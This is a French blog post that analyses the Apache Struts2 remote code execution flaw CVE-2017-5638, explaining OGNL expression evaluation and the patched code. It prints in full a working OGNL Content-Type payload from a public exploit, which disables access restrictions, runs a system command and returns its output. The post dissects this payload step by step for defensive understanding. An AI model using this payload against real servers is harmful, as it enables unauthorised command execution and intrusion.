Analyse de la CVE-2017-5638 Struts2 RCE (FR)
mer. 15 mars 2017 Dan LousquiLe descriptif de la CVE-2017-5638, ainsi que l'illustration dans un lab de sécurité est décrite dans un billet précédent.
Le but de ce billet est maintenant d'analyser la vulnérabilité, aussi bien au niveau du code vulnérable, que du fonctionnement de l'exploit.
Ognl, oh que je t'aime
En regardant un peu la littérature sur cette vulnérabilité, le langage ognl
revient souvent... mais qu'est ce-que
l'ognl
?
Il s'agit d'un langage d'expression permettant de set
, de get
ou de call
des méthodes et attributs d'objet.
C'est un peu une sorte de lua
, dans son but. Cependant, il ne s'agit pas là de coder des scripts ou plugins, mais de fournir
des fonctionnalités de base à un projet Java
. C'est notamment intéressant si vous voulez manipuler des chaines de
caractères contenant des expressions à évaluer (et de ne pas réinventer la roue).
Par exemple, si vous voulez créer une application pour configurer un chatbot, ça peut être intéressant de fournir cette fonctionnalité à vos utilisateurs, on pourrait par exemple configurer le message d'accueil du bot ainsi:
String welcome_message = '%{"Bonjour " + #user.name + ", je suis " + #bot.name}'
Qui sera évalué Bonjour Dan, je suis R2D2
Oui mais ...
Sauf que qui dit langage d'expression, dit possibilités d'évasion. Lorsqu'on utilise ce genre de fonctionnalité, il ne faut toujours faire attention à la provenance du code (comme pour du SQL mal géré, qui peut mener à de l'injection).
C'est ce qui est arrivé à Struts2
.
Si on regarde le contenu du patch de correction de cette CVE, on peut apercevoir la suppression de ces lignes de code (je me suis permis de revoir l'indentation :-) ):
if (multiWrapper.hasErrors()) {
for (LocalizedMessage error : multiWrapper.getErrors()) {
if (validation != null) {
validation.addActionError(
LocalizedTextUtil.findText(
error.getClazz(),
error.getTextKey(),
ActionContext.getContext().getLocale(),
error.getDefaultMessage(),
error.getArgs()
)
);
}
}
}
En dépilant:
- Ce code est exécuté lorsque une requête est envoyée avec un
content-type: multipart/form-data
LocalizedTextUtil.findText()
(doc) permet de chercher un message localisé (cf. la doc). Si le message est trouvé, tout ce qui est sous la forme${...}
sera évalué comme une expressionOGNL
(Woot \o/)
Du coup, il semble possible d'évaluer du code OGNL
contenu dans le Content-Type
.
Analyse de l'exploit
L'exploit est facilement récupérable sur Internet (rapid7/metasploit-framework#8064).
Quand on analyse le script, il s'agit juste d'envoyer une requête sur l'application avec l'en-tête Content-Type
à la valeur :
%{
(#_='multipart/form-data').
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(
#_memberAccess
?
(#_memberAccess=#dm)
:
(
(#container=#context['com.opensymphony.xwork2.ActionContext.container']).
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ognlUtil.getExcludedPackageNames().clear()).
(#ognlUtil.getExcludedClasses().clear()).
(#context.setMemberAccess(#dm))
)
).
(#cmd='whoami').
(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).
(#cmds=(
#iswin
?
{'cmd.exe','/c',#cmd}
:
{'/bin/bash','-c',#cmd}
)).
(#p=new java.lang.ProcessBuilder(#cmds)).
(#p.redirectErrorStream(true)).(#process=#p.start()).
(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).
(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).
(#ros.flush())
}
On analyse :
%{..}
permet, comme l'indique la documentation, d'avoir duognl
Première partie :
(#_='multipart/form-data')
initie lecontent-type
à du multi-part@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS
d'après la doc., il s'agit d'un wrapper de contexte permettant àognl
d'accéder aux méthodes et attributs de tous les objets Java#_memberAccess
on vérifie si la variable est définie(#_memberAccess=#dm)
si oui, on laset
à l'objet permettant d'avoir les droits complets[...](#context.setMemberAccess(#dm))
sinon, on l'instancie et on laset
à l'objet permettant d'avoir les droits complets
A ce niveau là, on est dans un contexte où il est possible d'exécuter du code Java
arbitraire.
Deuxième partie :
(#cmd='whoami')
on met dans une variable la commande que l'on souhaite exécuter(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))
on crée une variable permettant d'évaluer si l'OS du serveur estWindows
#cmds=([...])
selon l'OS, on utilisecmd.exe
oubash
pour générer la commande à lancer(#p=new java.lang.ProcessBuilder(#cmds))
on crée un process avec la commande à lancer(#p.redirectErrorStream(true)).(#process=#p.start())
on démarre le process
A ce niveau-là, on est dans un contexte où on arrive à exécuter une commande system
arbitraire.
Troisième partie :
(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))
on récupère lestream
d'écriture de réponse de la requête courante(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))
on copie le flux de sortie de la commande exécutée dans le flux de réponse de la requête courante(#ros.flush())
onflush
les flux afin de vider tous les buffers
Désormais, la sortie de commande exécutée est envoyé dans la réponse à la requête, il est donc possible d'avoir un webshell
sur l'application.
Conclusion
OGNL
, ... je n'avais que vaguement entendu parler de ce langage... Pourtant il se montre bien puissant, et bien dangereux !
Je ne sais pas à quel point il est utilisé dans le développement d'application web, néanmoins Struts2
reste un framework
très rependu. Je pense que cette vulnérabilité n'a pas fini de faire parler d'elle, surtout dans les applications d'entreprise
sur les intranets.
Je pense également qu'il peut être intéressant d'ajouter à tous les outils de fuzzing
, scanning
, ect. des tests sur le
langage OGNL
. Après tout... le nombre d'application injectable OGNL
vient de dépasser le nombre d'injectable en
ldap
ou XPath
, pourtant ces dernières sont souvent testées ;-)